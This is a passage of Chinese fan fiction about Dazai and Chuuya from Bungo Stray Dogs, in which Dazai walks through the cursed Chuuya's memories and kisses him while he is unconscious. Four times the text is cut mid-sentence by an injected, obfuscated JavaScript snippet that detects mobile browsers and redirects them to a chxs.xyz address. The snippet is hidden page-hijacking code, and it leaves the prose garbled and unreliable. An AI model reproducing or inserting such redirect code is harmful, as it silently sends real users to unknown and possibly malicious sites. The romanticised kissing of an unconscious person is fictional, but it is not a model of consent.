不过,为什么中也梦里都是我呢? 太宰治迟钝了一秒,联想到一个不可思议的可能性,虽然自己确实是一个难得一见的美男子,可是中也…中也… 中也的一切都很讨厌,不过喜欢人的品味倒是意外的好。 太宰治脸上露出为难的笑,哎呀,真是太难办了,原来中也心里那个爱而不能得的人居然是自己吗,嗯,虽然中也很讨厌,不过性命攸关,他也不是不可以给中也一个吻啦! 不过真是的,小狗怎么可以对主人抱有这样的心思呢,怪不得地下室那晚他来的那么着急,怪不得双黑复活夜他毫不犹豫就开了污浊,怪不得自己被龙吞进腹中生死未卜,中也也毫不犹豫来救自己。 中也那时候不会是想要和我殉情吧! 呜哇,中也真是太爱我了吧,好可怕! 太宰治一边美滋滋地想着“中也真的好爱我”,一边忍不住探究中也到底怎么喜欢上他的,虽然他也很有魅力就是啦,可是中也嘴上一直说很讨厌他呢。 哦,他知道了,中也是一只天天撒谎的坏狗狗,不过呢他这个主人可以大度地原谅他一把。 - 画面再一转,依旧是十六岁,大概在魔兽事件后,龙头战争之前,某个平常的一天。 十六岁的中也坐在房间里,面前放着一本与宝石鉴定相关的书,书页定在那里半天没动。 中也一手撑着下巴,一手握着笔,似乎在很出神地想什么东西,笔随心而动,在哪一页无意识地写下三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853247|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字。 太宰治。 中也回过神,吓了一大跳,眼神左右扫视一番,见没有人之后,立马拿着手中笔用力地涂掉那个让他看一眼就血压飙升的名字。 用力过大,笔咔嚓断成两截,中也愣住。 放在一旁的手机铃声突然响起,打破房间的寂静。 来电人显示“青花鱼”。 十六岁中也像是受到惊吓一般猛地弹起来,好一会才反应过来只是个电话,太宰治本人并不在这里。 “真是阴魂不散啊,”他抿了一下嘴唇,无奈叹气,嘟囔道,“这种时候给我打电话,那家伙又是要捉弄我吧。” 嘴上这么说,片刻后,他还是认命接起电话。 “嗨~中也,晚上好啊!” “你又在打什么坏主意呢?” “呜哇,在中也心里我就是这样的人吗?” “你难道不是吗,不过我可不怕你,说吧。” “哼哼,这回我可是很好心哟,咱们一起打败了魔兽哎,这么重大的事情,一定要来庆祝一下吧!我特意给你准备了超大庆功宴哦!” 十六岁中也用脚后跟想也知道太宰不会那么好心,他已经被太宰玩弄过很多次了,这回绝对不能让他如愿。 他一口回绝:“这种事情有什么好庆祝的,只有你这种家伙才那么热衷于这些无聊的事情吧,我——” “别挂别挂,大功臣不来可真叫人失望啊。中也真是只不听话的笨狗!好吧好吧,那你在家里好好看家哦!不过我早知道你不会来了,特意在你的酒柜里给你冰镇了一瓶你最喜欢的那款香槟酒哦。” 十六岁中也半信半疑,拿着手机就来到了酒柜前,居然真的在里面看到了太宰说的那瓶酒,没有开封,触手微凉,恰好是他最喜欢饮用的温度。 “没礼貌的小狗还不谢谢主人吗?” “哼,都说了不要天天把我当狗啊,算了随便你,下次见面我一定打爆你的头!混蛋太宰!” “中也现在还是不要叫我混蛋太宰了吧?” 中也拿出酒杯,单手打开太宰送来的那瓶酒,给自己倒了一杯想要消消火气,听他这么讲,好奇道:“啊?为什么,难道你这家伙良心发现,不过你怎么可能有良心那种东西啦!” 十六岁中也喝了一口酒,又“噗”一下全部吐出来,在舌尖刚接触到酒杯中的液体,酸的他牙齿都要掉下来了。 这根本不是酒,是醋! 电话那边传来毫不留情的大笑声,接着又是乒呤哐啷一阵响动,足见对方笑得多么放肆! “哈哈因为中也骂人只会说“混蛋太宰”,叫早了等会骂什么呢,果然中也就是个单细胞微生物呢,狗狗都比中也聪明的哦,不过我不会嫌弃你啦!” “啊啊混蛋太宰,太可恶了,你信不信我现在就过拧碎你的头骨盖——” “信啦信啦,不过我的小狗还是好好在家看家吧!挂了哦,拜拜中也,明天见!” “见你大爷!!!” 挂上电话,十六岁的中也立马就想冲出去把那家伙狠狠揍一顿,可BOSS说过不能用暴力和胁迫解决问题。 他怒气冲冲在屋里转了几圈,一下又坐回桌前想让自己冷静一下,结果又看见了那本写了某个讨厌的人的名字的宝石书。 中也“呜哇”一声趴在桌子上,捂住耳朵闭上眼睛,可脑子里全是那个讨厌的身影,耳朵里都是那句阴魂不散的“中也,明天见!”。 风从窗外吹进来,把书页吹得哗哗作响,十六岁中也趴在桌子上,用尽全力也驱散不了那个全世界最讨厌的人的身影和声音。 心跳像鼓点,惹人烦。 5. 太中十七岁 而太宰就靠在桌边看着十六岁的中也,嘴角带着浅浅的微笑,仗着中也看不到摸不着现在的自己,肆无忌惮地伸手揉了揉那头微卷的橘发。 风不懂事,特意将书页翻到写了太宰治名字的那页,乱七八糟的划痕是少年自己不想承认又无法忽视的真心。 十六岁的中原中也喜欢太宰治。 这个认知让太宰治少见地怔忪一瞬,明明是个极度聪慧的青年,玩弄人心比呼吸还要简单,连自己的心跳都能控制,可这一秒,知道中也喜欢自己这件事,让他看不明白自己的心。 嗯,讨厌的矮人先生居然偷偷喜欢自己,他可是个男的哎,自己应该觉得很恶心才对吧,可是为什么他那么想戳一戳眼前十六岁中也的脸颊,嘴角也完全压不下去,心跳也开始不受控制,想和中也靠的更近,太近了又担心被灼伤。 - 太宰强行摘下读取意识的设备,强迫自己回到现实。 干部大人依旧平静地躺在床上,丝毫不知道自己苦苦隐瞒的心事已经被人看了个干净。 “原来中也喜欢我呢!”太宰坐在窗前,单手撑着下巴,扫了一眼漆黑的夜晚,又把目光凝在中也身上,盯着那张熟悉到连有几根睫毛他都知道的脸看了半天,紧闭的眼睛,鬓边的卷发,带点稚气的脸颊,还有——淡粉色的嘴唇。 “睡美人”的故事一下子强行占据了太宰的大脑,唤醒“睡美人”的方法是什么来着—— 缠着绷带的手臂鬼使神差缓缓向前探去,修长分明的手指绷得很紧,指尖蜻蜓点水一样碰了一下中也的嘴唇,又被烫到一样飞快缩回去。 温热,柔软。 太宰的眼睛里再也看不见别的东西,唯有中也那张触感柔软的嘴唇,原来浑身硬邦邦的暴力蛞蝓身上也会有这么柔软的地方,亲起来是什么感觉呢。 手指再次探过去,指尖用力压了一下淡粉色的下唇,皓白的牙齿隐约可见,欲拒还迎,太宰将手滑倒中也脸颊处,偏头吻了上去。 他在心里告诉自己,只是为了唤醒中也而已,他可没有和男人接吻的喜好。 嘴唇相贴,太宰发现中也的唇比他刚才相信中的还要柔软一点,他小心探出舌尖描摹中也的唇形,捏住中也下巴的手用力,迫使昏迷中的人微微张开嘴唇,随后毫不犹豫地挤进去,舔抵吮吸,加深这个吻。 一吻结束,太宰治呼吸紊乱,眼神黏在中也平静的脸上一动不动,他费了些劲才移开自己看向中也的视线。 但身体可比他的身体诚实的多,尽管心里已经因为这个有正当理由的吻不受控制乱成一片,太宰治余光依旧关注着中也的一呼一吸。 仿佛从童话书中走出来的“睡美人”依旧一动不动,丝毫没有因为这个吻产生什么变化,这样的平静落在屋里另一个人眼里,宛如一场无声的山崩海啸。 太宰治手指轻轻蜷缩一下,握紧成拳,大脑飞速运转到底有什么地方不对劲。 难道是中也太沉迷梦境了吗,可梦里也无非是他们从前无聊的小事,如今他本人就在中也身边,中也一睁眼就看得见的。 难道是他误会了吗,小矮子心里那个人不是他。 太宰目光瞬间阴郁,静静盯着床上一无所知的人,手指在对方脆弱的脖颈间摩挲片刻,轻笑一声,眉间冷意一扫而空。 他浑不在意地拿过读取意识的设备,重新调整好参数,再次进入中也的意识。 - 横滨夏日,暴雨不停。 他们十七岁。 十七宰正在地上滚来滚去,见十七中不搭理他,一把握住对方脚腕,黑发和绷带裹住大半张俊秀的脸,只露出一只澄澈如晴空一样的鸢色眼睛,里面像藏了一把小勾子。 “中也~,明明打赌输给我了,要像女仆一样听我的话才对吧,太可恶了哇中也怎么可以拒绝我的要求。” 这几日是中也难得的假期,他没穿□□那件黑色外套,而是换了件暗绿色和白色拼接的机车服,不耐烦地用帽子遮住脸,很想一脚踹到那张烦人精的脸上。 他粗声粗气:“快滚啦,游戏手柄打到一半就没电了,肯定又是你这混蛋干的好事……你这家伙的要求我是不会答应的啦。” 横滨这几日都在下雨,今日雨势格外大,雨珠打在玻璃上噼啪作响,中也目光从地上移到窗外,伸手揉了揉眉心,思考这种天气答应带太宰骑机车出门的可能性。 用力将自己的腿抽出来,中也低声嘟囔,这种雷暴天气出去骑机车,一定会让人以为他脑子有病吧。 显然,这种傻逼有太宰一个就够了,他才不会陪对方干这种蠢事。 趴在地上的人一动不动,像是只被遗弃的黑色野猫,十七岁的太宰交叠双手垫在下巴处,气鼓鼓道:“运气也是实力的一种啦,中也明明就是输给我了还不承认,啊啊啊太糟糕了,我要把这件事写进《本周不服输的中也》让大家排队来看这只赖皮虫,我还要把这件事印成宣传单让横滨人手一份……” “你这个混蛋,为什么那种杂志还在发行啊!”十七岁的中也一下子跳到十七岁太宰面前,提着衣服把从地上提溜起来,怒气冲冲道,“你这家伙每天就不能干点正事吗?” “训狗不算正事吗?”十七岁太宰露在外面那只眼睛弯了一下,歪头好奇道,“中也要去看看眼科啦,明明我每天都在干正事。” 忍无可忍,中也出其不意给那张烦人的脸上来了一拳,松开提着他衣领的手,十七岁太宰又跟泥巴一样“啪”一下黏在地上。 挨打后的十七岁太宰治很不开心,嘴里小声嘟囔着听不清的字句,但人却老实了很多。 十七岁中也转身,大步向前,三步后又顿住,回头不耐烦道:“还要装到什么时候,想出去就跟上来!” 作为外来者的二十二岁太宰像个旁观者一样冷眼看着他们年少时候的一切,心里隐隐有了些猜测,那个猜测让他……非常不开心。 没有到最后一刻,他完全不想承认那个可能性,甚至不愿意接着看这些熟悉的场景。 白痴中也,讨厌死了,有什么好回忆的啊! 但作为外来偷渡客的他,没法控制那位还在沉睡中的干部大人的思绪,只能以旁观者的角度不情不愿看着往事重演。 十七中和十七宰撑着一把黑伞走进雨幕,并肩去了中也住处的地下车库。 一排线条流畅的机车安静等待着主人临幸。 十七中手插在口袋,丢给搭档一个不耐烦的眼神,说:“挑一个吧,不过我警告你,只有这一次!下次我不会再陪你玩干这种蠢事了。” “知道啦知道啦,中也话好多哦。”太宰嘴上抱怨,眼睛却兴奋好奇地看着这一排机车,像是小朋友看到喜欢的玩具一样爱不释手,随后一口气跑到尽头,非常有目的性地停在那里。 尽头只有一辆暗红色机车,被它的主人爱护得很好,足以看出中也对这辆车的珍视。 十七宰回头,他的黑发又长了些,盖住那只中也唯一看得顺眼的鸢色眼睛,绷带重重叠叠遮住一半面庞,露出右半边苍白消瘦的脸颊,和那张天然上翘的唇。 这张嘴唇一张一合,对十七中笑道:“中也,我要坐这辆车,看起来好酷哦!” “……啊?”十七中挑眉,瞪了太宰一眼,语气迟疑,“这辆…行吧。”他往前走了几步,找出一个黑色头盔扔给太宰,“戴上这个吧,万一撞坏了你那颗一肚子坏水的脑袋,Boss可饶不了我。” 这车是信天翁留给中也的遗物,除非必要中也不会开,今天居然这么轻松就答应了!? 十七宰明显错愕一瞬,双手接住抛过来的头盔后轻轻眨了两下眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853248|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头观察头盔应该怎么戴。 太宰这家伙是个纯种马路杀手,他要是开着车上路,警车见了都恨不得退到八百米外,自然天生不知道头盔为何物,所以森先生一直不允许太宰治开机车,生怕这兔崽子给自己送上黄泉路。 头盔锁扣发出“咔”地一声,十七宰露出个意味不明的笑:“森先生还说过这种话吗,我还以为是中也关心我受伤呢。” “哈?你少恶心我了!”中也翻身跨到车上,踢开脚刹,开火挂档启动,粗鲁地拧动车把,“滚上来吧,我可是巴不得你赶紧去死呢,最好今天就死!” “……我也是哦。”十七宰翻身上车,黑色大衣在空中翻飞如幽蝶,尽管机车座位很窄,太宰还是倔强地没和中也贴紧。 这点小心思当然瞒不过和他搭档两年的十七中,他也没提醒,趁着太宰心不在焉,飞速升档加油门,车子在车库发出隆隆巨响,猛窜出一段距离。 十七宰“啊”的惊叫一声,没有支持的身体不受控制向后仰,手臂在空中划出无助的弧度,眼见就要掉下去,中也猛地按住离合踩下刹车。 十七宰狠狠磕到中也身上,他“呜哇”一下开始大声抱怨:“啊呀真是的,中也到底会不会开车,撞得好痛,果然你这种笨狗狗就应留在家里看家,呜,笨蛋小矮子……” “闭嘴啊混蛋,再说一遍我不是狗!”十七中瞪了十七宰一眼,怒气冲冲就要吵架,“还有脸说我,看不起人也要有个限度吧,能不能用你缠满绷带的大脑想一想,坐机车怎么也要有点安全措施吧!” 十七中越想越气,最后干脆笑了出来:“还是说你打算用绷带把你跟机车绑一起,让我拖着走?行啊,想死你就那么干吧!” “……小蛞蝓真是烦死了,再说了我死不死跟中也又有什么关系,反正森先生现在又不在这里……”十七宰治低头抱臂,一通输出,听了半天也没听出半句有效信息。 “好了好了,闭上你那嘴该死的嘴吧。我的意思是让你抓紧我,机车不是汽车,你掉下去是真的会死。” 十七宰滔滔如江水一样的抱怨突然卡壳,气氛诡异地安静下来。 十七中再次拧把挂档,机车发出轰隆声响,又被外面大雨和雷暴袭击城市的轰鸣声吞噬。 他们就这样开着车声势浩大闯进十七岁时横滨这场暴雨里。 雨声和雷声都成了青春的乐章,横滨急雨打在身上像子弹,而地上的水流像血流,机车在高速上飞速行驶,眼前只有虚无漆黑的夜。 好像下一秒就要死了一样。 十七宰非常兴奋愉悦,不管不顾抱着中也的腰,防止被狂风掀飞下去,他声音断断续续传到中也耳边:“中也,这样…死了…好像…也不错…哦…” 十七中能感受到太宰的开心,也跟着轻轻勾了一下嘴角。他知道太宰留在□□是想知道“人为什么要活下去”,但在□□久了,见过太多暴力、鲜血、猜忌和利用,他这位搭档就越觉得无趣孤独,对生命越失望,也越渴望死亡的到来。 中也想阻止他,可真心话又说不出口,他只能给太宰一份独一无二的信任,一个交付性命的承诺和那种作为搭档的陪伴——比如说像今晚这样,察觉太宰不太开心,顺水推舟带他出来转转。 但这些话怎么可能会太宰说啦,他会对太宰说出口的,只有—— 雨滴如蛛丝一样霸占了覆面,尽管视线不明,生命像悬在刀尖上,中也声音依旧坚定清晰:“滚蛋啦!想死自己去吧,谁要和你这家伙一起死啊。……我们还是一起活下去,作为搭档。” 最后一句话很轻,被掩埋在夜晚暴雨里,十七宰只听到了那句“滚蛋啦!” 但这句藏着真心的话,还是阴差阳错地传到了太宰治本人耳中。 只是这话隔了五年,太宰治和中原中也不再是搭档。 6. 太宰叛逃的夜晚 太宰治嘴唇颤动,似乎想要说些什么,转而想到眼前的一切只不过是中也的回忆,他就算拿着喇叭吼上三天三夜对方也听不到。 怎么一遇见中也就觉得脑袋要死机,难道白痴会传染吗? “太宰。” 中也在叫他的名字。 太宰治愕然,抬头循着声音的主人看去,这才注意到雨已经停了,四周非常安静,十七岁那个雨夜已经远去。 这是一间陌生的客厅,地方大且空旷,低调奢华的沙发和茶几隐匿在远处昏暗里,面前一个长长木纹吧台,后面酒柜里陈列着几种贵的让人咂舌的葡萄酒,而吧台前两张高脚凳,其中一个凳子上坐着一位气质独特的漂亮帽子君。 青年似乎刚结束任务,衣摆处沾染了不知是谁的血迹,他浑不在意,一只手撑着漫上绯红的面颊,一只手漫不经心捏着高脚杯,鲜红酒液随着手的动作晃晃荡荡,在昏黄灯光下闪烁着诱人的光泽。 是十八岁的中原中也。 太宰治无声叹了一口气,几个跨步来到对方身前,明知是无用功,他还是朝着中也伸出手。指尖在半空顿了一瞬,擦过中也面颊和发尾,变换方向,扣住中也的手腕。 “中也,……森先生可是说过在外出差时候不能饮酒。” 明知中也根本不会听到他的话,但这种类似关心的语气过了这么多年,还是要借着森先生的名义才能说出口。 对中也说谎话倒是张口就来,花言巧语骗得对方更讨厌自己,就算有时候想要好好说些什么,中也也只是觉得他在开些无聊的玩笑,久而久之就连太宰自己也分不清,他对中也说出的到底是谎话还是真心。 太宰脱力一般坐到另一张高脚凳上,静静旁观这场他曾经缺席的欢送会。 十八岁的中也已经喝醉了,面颊绯红,锐利的湛蓝色眼睛露出少见的迷茫无措,像起雾的湖面,他似乎觉得有些热,不耐烦扯开领口,露出一片温玉般的肌肤。 做完这些,他又不动了,像孩子一样迷茫地眨眨眼,片刻后慢慢起身,从吧台里摸索出一个新的高脚杯,斟上红酒,放在太宰面前。 不是给他的,是给十八岁的太宰治。 做完这些,十八岁的中也脸上终于露出笑意,那笑容说不上来是开心还是难过,或许还参杂了点遗憾,但嘴角上提,眼尾向下,那确实是一个笑。 中也就带着这样的笑,举起面前酒杯和那杯无主的酒轻轻碰了一下。 玻璃相撞,发出轻响,杯中酒液摇晃,被中也一饮而尽。 牛嚼牡丹式的饮酒方法,一点也不高雅,太宰治很想嘲笑两句,却不知道要说什么。 他很少有不知道该怎么说话的时候,语言是门艺术,那太宰毫无疑问在这条路上登峰造极。没有他蛊惑不了的人心,没有他掌控不了的场合,只要他愿意,他可以凭一张嘴让任何人为他去死,更别提和人聊天这种小事。 唯独面对中也,他总有不知道该怎么表达的时候,有时候是怕中也太失望难过,有时候是他自己不开心,所以一句话也说不出来。 十八岁的中也先开口了,明明已经醉到撑不住要歪倒,还是倔强瞪着空无一人的另一个座位:“太宰,你这家伙真是太让人讨厌了!跟你搭档三年,你也狠狠玩弄了我三年,明明…明明一口一个搭档,结果呢,你这混蛋滚的时候什么都不说!” 他手中的酒杯因为太用力“砰”地一声炸开,玻璃片如小型烟花一样短暂盛开又凋谢。 “下次再见面,终于可以正大光明杀死你了!你最好别落到我手里。” 这么想杀了我,那你眼角闪耀着的零星水珠是什么呢? 这么讨厌我?可你的表情一点也不像快乐,还是那么口是心非啊,中也。 太宰手撑着下巴,静静盯着已经醉倒的中也,盯着他的赭色发丝,紧闭的眼睛,蹙起的眉间和被酒液润泽过的鲜红的嘴唇。 太宰心情很好地笑了一声,原来中也对他的离开并不是那么平静,甚至可以说是很少见的失态了。 这个认知让太宰非常愉悦,他起身走到那位小个子醉鬼身边,盯了许久,鬼使神差低头吻上那张色泽好看的嘴唇。 他在心里找好了理由,只是想看看这样的吻能不能唤醒中了诅咒的睡美人而已。 一吻结束,期待落空,睡美人没醒,敲门声倒是响了起来。 看来回忆里的时间会随着中也的意识压缩,比如明明刚才还是夜晚一点,眨眼间时间已经跳到八点,晨曦从紧闭的窗帘缝隙边透过,宿醉的中也被敲门声唤醒,随便理了一下衣饰,过去打开门。 门口的人是森鸥外的秘书。 “怎么了,一大早就来了,首领有什么急事?”中也问。 “首领说有几分加急的文件需要中原先生签署。”秘书低着头,眼神却不老实地往屋子里看,“首领还交代,西方势力最近又有动作,没有中原先生坐镇真让人不放心。” “知道了,我马上就去向首领汇报。” 交谈结束,秘书却没有离开,而是继续悠悠开口道:“不过首领也说了,太宰现在已经叛逃Mafia,作为他的搭档,您心里肯定会不舒服,多在横滨歇几天也是可以的。” “……呵呵。”中也冷笑,抱臂不耐烦地说:“用不着,今天就去,一个不怎么样的前搭档而已,他滚了我还特意开了瓶名酒庆祝呢。” “欸,好嘞,我这就去跟首领汇报!” 关上门,中也一个人静静站在黑暗里,然后在身上摸了片刻,拿出烟盒,点上火,深深吸了一口,吐出来,细长指节间烟雾缭绕,十八岁的中也就藏在那片烟雾里面。 “一个不怎么样的……前搭档。” 最后三字咬字太重,有股恨得咬牙切齿的味道,又有种“算了就这样吧”的释然,在一旁旁观的太宰听见这几个字却突然神色阴郁冰冷,抬腿就要走到中也身边,把中也从那片雾里抓出来。 眼前忽然一暗,熟悉的眩晕感传来,太宰脚步顿住,好奇这次又会去中也那段记忆里。 按照时间顺序的话,再次正式见面,应该是他被抓住的那个地下室了,或者双黑复活夜?还是屠龙后两人藏身的那片横滨大雾里呢,也有可能是某个平凡一天横滨街上偶然遇见,然后开始拌嘴吵架的日子? 怎样都好,只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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中也脖子上留下五道浅浅指痕,对外界依旧一无所知,平静宛如无风的湖面,越发衬得眼眶微红理智尽失的太宰治像个舞台上失败的丑角。 太宰治猛地扭过头去,不再看中也,转而打量这间屋子。 屋子还是中也一贯的风格,奢华整洁,这间屋子除了必须的家具,几乎没有多余的东西。 太宰治像在自家院子里一样四处转悠,打开所有抽屉和衣柜检查,没发现半分自己存在的痕迹。 他还在Mafia时,整天以捉弄中也为乐,十分喜欢给他的所有物盖章,比如说在中也的杯子上画画,在他的黑外套上绣上“帽子放置架”,或者在中也屋里的暗处放些稀奇古怪的东西,然后脑补中也发现时的表情。而中也总是一边抱怨一边纵容(被威胁)他,任由太宰闯进他的私人空间。 而如今,那些痕迹被他的主人毫不留情抹去。 “好冷漠啊,中也。”太宰轻轻叹了一口气,“真是没良心的坏狗狗。” 7. 你不是他 不过,狗狗不懂事,慢慢调/教就好了。 太宰取下一件中也的黑外套,又在房间摸索,在书架下面的柜子深处拿到了紧急医疗箱,还发现一本被中也藏在暗处的书。 宝石鉴别四个字映入眼帘,太宰几乎一秒就知道了这是那本书——十六岁少年写了他名字的书。 太宰拿起书,神色晦暗不明,指尖好像犹豫了一下,又或者没有,但他最终还是翻开了那本书,书页哗哗作响,掉出一张照片。 这应该是他俩为数不多的合照之一。 太宰治扫了一眼,脑海中瞬间浮现起那天的场景。 十六岁,涩泽事件后,中也因为六个部下的去世难过了很长一段时间。 森先生心血来潮,说什么年轻时候就要多拍点照片,这样啊就算以后不能一起走了,也可以借着照片回忆当年嘛。 十六中疑问道:“拍照倒是没问题啦BOSS,可是为什么是和太宰这个家伙拍,我不要!” “……我也不想和小蛞蝓出现在一张照片上哦。”十六宰学着中也的样子偏头,无奈道,“跟暴力白痴在一张照片上会让人觉得我也很笨。” “你这家伙——,啊真的好气!”中也在首领看不见的角度对着他呲牙,小声嘟囔。 太宰治皮笑肉不笑,抛去一个挑衅的眼神。 “总之,BOSS(森先生),我是不会和这家伙合照的!” 两个少年异口同声道。 森先生举着相机,眼睛弯弯,笑容和蔼:“不行,你们两个是搭档哦。站好,准备拍照了,这是首领的命令。” 十六岁的少年别别扭扭站在一条线上,中间相隔的距离还能再站下一个森先生,而两位更是一个头朝左边看天,一个头朝右边看地,脑门上写满了七个大字“不想和某人拍照!” 那时候太宰真的以为中也非常讨厌自己,嗯,其实确实如此啦,但那其中不止有讨厌,还有中也自己都控制不住的其他情感,或者可以称之为“爱”。 现在再看这张照片,太宰才发现十六岁中也微红的耳廓,下垂的眼尾划出一抹少见的害羞弧度。 彼时两人太年少,总以为对方每天对自己阴阳怪气退避三舍恶语相向就是讨厌,却忘了阴阳怪气出发点总是在意,退避三舍是怕对方看出来自己的心,恶语相向是一种自我保护——毕竟那点感情要是让对方发现,肯定会被嘲笑一辈子吧。 现在回头,当年的一切就有了解释,比如说从来心眼比脑袋还大的中也突然在意起他的触碰,太宰以为那是厌恶,却忘了喜欢一个人最开始就是扭捏,中也也不例外。 借着这点少年时候的甜,太宰心情平静许多,他从容放回照片,从医疗箱里拿出绷带缠在左眼上,然后换上中也那件黑色外套——有点小,不过幸好太宰很瘦。 他扮做年少时的自己,慢慢走回床边。 - 一个很浅很轻的吻之后,太宰治慢慢退开身体。 如果他扮做年少时的自己,能够唤醒中也吗? 床上的俊美青年有了些细微的动静,眉心微微蹙起,像是做了噩梦一样,纤长睫毛如蝴蝶般轻颤。 又归于平静。 太宰就静静立在床边,居高临下盯着中也的一举一动,看到他终于有了反应,禁不住冷笑一声,嘴角轻轻向上扯动一下,又重新抿成一条直线。 没人知道他在想什么。 垂在身侧的手心握紧成拳,又慢慢松开,宛如提线木偶一般的黑衣青年缓缓转身,幽灵一样飘到书架旁边,从那本旧书中抽出那张照片。 照片真好啊,照片上的人永远十六岁。 捏住照片的手骤然缩紧,食指侧的皮肤被照片边缘划开,血珠渗出,痛感传到神经,太宰才条件反射松开一点,慢条斯理揭掉那层崭新的塑料保护套。 他迈着又轻又缓的步子,如孤魂野鬼一样荡到中也身边,两指捏住照片,慢慢放到中也唇边。 蜻蜓点水一样的一瞬间,但却像是在湖中心投下一颗石子,波纹从中心向四周越扩越大,唤醒了一直沉睡着的平静湖面。 先是微微蹙起眉心,睫毛颤抖,嘴唇微张,面部肌肉终于开始运作,是个极力想要睁开眼的表情。 那双充满生机的湛蓝色眼睛复苏的同时,他的主人也撑着身体慢慢从床上坐起来,戴着皮质黑手套的手下意识揉了揉太阳穴,懵懂如初生小兽一样的目光落在床边静坐的太宰身上。 “太宰?你怎么在这!我受伤了……”中也还没彻底从诅咒的余韵中清醒过来,脑子里浮现的全是和太宰这家伙一起出任务的日子,看见守在他身边的黑衣绷带青年,还以为尚在梦中,还是当年,于是对着自己的搭档流露出自己都未曾察觉的,亲昵的信任。 “……呵呵。”太宰嘴边溢出嘲讽的冷笑,手指交叠撑住下巴,用看猴戏似的玩味眼神盯着中也,“中也醒了呢,真是让人失望啊,还以为——” 青年声音宛如惊雷,炸得中也一下清醒过来,懵懂的神色变成锐利和审问,弓背俯身,下意识微微后移了一点,和太宰拉开距离。 中也出口就是质问:“你为什么在这?这里是我家吧!你还敢来Mafia?” 这样下意识的防备一遍又一遍提醒太宰,他和中也已经属于不同阵营,是真正意义上的彼此敌对。 太宰往身后的椅子上一靠,无聊地叹了一口气,懒懒道:“啊,你问这个,你们首领说你要死了,我当然迫不及待来看热闹啦,我可是期待了很久中也的死亡呢。” 中也依旧戒备盯着他,同时仔细回忆昨晚发生了什么事。 昨晚工作结束后,他一时兴起,开了瓶红酒自斟自饮,怎么也没到性命垂危的地步吧。 中也心中笃定了太宰肯定是来给他找不痛快的,挑眉冷笑,握紧拳头,准备出其不意照着那张俊脸上来上一拳。 但看到太宰的脸,中也紧握的拳头松开,嘴唇张成“O”形,惊讶道:“你这是什么打扮,你这家伙不会是……” 话没说完,中也从太宰脸上捕捉到一丝一闪而过的羞恼,同时,他注意到了太宰手上的照片。 几乎是不假思索地,身体比大脑反应更快,再次意识到自己在干嘛,他已经和太宰有来有回打了几轮,为了抢那张照片。 纵然太宰对中也的攻击和呼吸节奏都很熟悉,但两人技巧上的差距不是一星半点,他不费吹灰之力就把太宰摁倒在地上。 中也右手钳制住太宰的手臂,右腿勾住对方的腿,半骑半跪把太宰扣在方寸间,伸手就要去拿那张照片。 被压在身下的太宰不慌不忙道:“中也,你喜欢我。” 笃定的语气,调笑的口吻。中也身形僵住,整个人宛如被兜头泼了一盆冰水,脸上生动的愤怒表情变成惊惶迷茫,像走丢的孩子面对无数条分岔路口,犹豫着要选那一条。 太宰依旧在一旁煽风点火:“中也想抵赖吗?中也知道为什么森先生叫我过来吗,因为中也中了一种诅咒哦,据说只有被心爱之人亲一下才能醒来。呜,为了知道中也喜欢谁,我们读取了中也的记忆,发现里面全都是我呢。中也嘴上说着讨厌我,心里却那样对我,哎呀,真让人笑掉大牙了,可惜我只喜欢美女,而且人狗有生殖隔离啦。那这么说的话,我每次叫中也当我的狗,中也其实……” 听到“亲一下”三个字,中也忽然耳鸣,眼中看见太宰那张近在咫尺的嘴开开合合,却完全听不出来他在说什么话。 “你……亲我?!” 细如蚊蝇的声音准确无误传入太宰耳中,他结束了他那一大篇不知所云的长篇大论,挤出嫌恶的表情:“是啊,我可没有和男人接吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853250|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的喜好,而且中也黏黏糊糊就跟蛞蝓一样,好恶心的。” 中也神色冰冷,从鼻子中发出冷笑,突然暴怒,握紧拳头流星一样大力朝着太宰那张写满了“我居然和中也接吻了我好像死啊”的脸砸去。 “砰”地一声巨响。 脸颊边的地板呈蛛网状碎裂,细小的木质碎片将他的脸颊划出浅浅伤痕,血珠滚落,太宰眼也不眨,睁着好奇无辜的神色看着中也近在咫尺的脸,用最温柔最恶毒的声音道:“中也,你就那么爱我吗,都不舍得用你那弱爆了的拳头让我受一点伤,真恶心啊中也你。” 